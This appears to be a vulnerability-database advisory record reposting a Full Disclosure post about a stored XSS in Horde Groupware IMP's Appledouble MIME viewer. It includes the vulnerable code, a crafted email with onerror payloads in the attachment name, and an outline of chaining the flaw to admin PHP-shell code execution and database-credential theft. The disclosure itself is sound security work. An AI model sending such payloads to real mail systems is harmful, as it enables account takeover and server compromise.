GCVE-1988-2026-0133

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
VLAI
Title
FD - Half-click unauthenticated remote code execution on Horde Groupware IMP (from a stored XSS)
Summary
https://blog.evan.lat/posts/CVE-2026-65053/ the blog talks about two vulns that are chainable together. for the sake of brevity ill write up on the stored xss one. in lib/Mime/Status.php, we see a pretty viable xss sink: $out .= '<tr><td>' . $val . '</td></tr>'; xrefing this we see that most impls are sanitized with the exception of lib/Mime/Viewer/Appledouble.php: $data_name = $this->getConfigParam('imp_contents')->getPartName($data_part); // ... sprintf(_("This message contains a Macintosh file (named \"%s\")."), $data_name) exploiting this is trivial obviously. we just need to craft an email like this: From: d () x com To: victim () target com Subject: mac file MIME-Version: 1.0 Content-Type: multipart/appledouble; boundary="BOUND" --BOUND Content-Type: application/applefile Content-Transfer-Encoding: base64 cmVzb3VyY2UtZm9yay1ieXRlcw== --BOUND Content-Type: application/octet-stream; name="<img src=x onerror=alert('hi')>" Content-Disposition: attachment; filename="<img src=x onerror=alert('hu2')>" Content-Transfer-Encoding: base64 ZGF0YS1mb3JrLWJ5dGVz --BOUND-- given the nature of this xss it is very much wormable and turns our existing arb file read to a half click exploit. obviously we wouldnt really want to use a half click primitive just to read files (although grabbing db creds is very trivial with these two vulns chained), so naturally we can try to achieve rce with this xss worm primitive. to get an rce from this is easy. we can either target an admin or craft an xss worm thatll eventually reach an admin. admins can access a PHP shell which let us run arbitrary php code, so we can simply use the xss to hit the PHP shell at /horde/admin/phpshell.php this constitutes a half click since the user simply needs to click on the email to trigger the xss in question. an exp poc is provided in the blog. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
References
Impacted products
Vendor Product Version CPE status
unknown FD - Half-click Affected: unknown
guessed Create a notification for this product.
Credits
Evan Tang
To clipboard 

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          "versions": [
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          "value": "https://blog.evan.lat/posts/CVE-2026-65053/\n\nthe blog talks about two vulns that are chainable together. for the sake of\nbrevity ill write up on the stored xss one.\n\nin lib/Mime/Status.php, we see a pretty viable xss sink:\n\n$out .= \u0027\u003ctr\u003e\u003ctd\u003e\u0027 . $val . \u0027\u003c/td\u003e\u003c/tr\u003e\u0027;\n\nxrefing this we see that most impls are sanitized with the exception of\nlib/Mime/Viewer/Appledouble.php:\n\n$data_name = $this-\u003egetConfigParam(\u0027imp_contents\u0027)-\u003egetPartName($data_part);\n// ...\nsprintf(_(\"This message contains a Macintosh file (named \\\"%s\\\").\"),\n$data_name)\n\nexploiting this is trivial obviously. we just need to craft an email like\nthis:\n\nFrom: d () x com\nTo: victim () target com\nSubject: mac file\nMIME-Version: 1.0\nContent-Type: multipart/appledouble; boundary=\"BOUND\"\n\n--BOUND\nContent-Type: application/applefile\nContent-Transfer-Encoding: base64\n\ncmVzb3VyY2UtZm9yay1ieXRlcw==\n\n--BOUND\nContent-Type: application/octet-stream; name=\"\u003cimg src=x\nonerror=alert(\u0027hi\u0027)\u003e\"\nContent-Disposition: attachment; filename=\"\u003cimg src=x onerror=alert(\u0027hu2\u0027)\u003e\"\nContent-Transfer-Encoding: base64\n\nZGF0YS1mb3JrLWJ5dGVz\n\n--BOUND--\ngiven the nature of this xss it is very much wormable and turns our\nexisting arb file read to a half click exploit. obviously we wouldnt really\nwant to use a half click primitive just to read files (although grabbing db\ncreds is very trivial with these two vulns chained), so naturally we can\ntry to achieve rce with this xss worm primitive.\n\n\nto get an rce from this is easy. we can either target an admin or craft an\nxss worm thatll eventually reach an admin. admins can access a PHP shell\nwhich let us run arbitrary php code, so we can simply use the xss to hit\nthe PHP shell at /horde/admin/phpshell.php\n\n\nthis constitutes a half click since the user simply needs to click on the\nemail to trigger the xss in question. an exp poc is provided in the blog.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
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        "discovery": "EXTERNAL"
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      "x_gcve": [
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          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0133",
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            "evidenceScore": 6,
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            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-24T16:24:09Z"
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    "dateUpdated": "2026-09-07T13:20:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0133"
  },
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}



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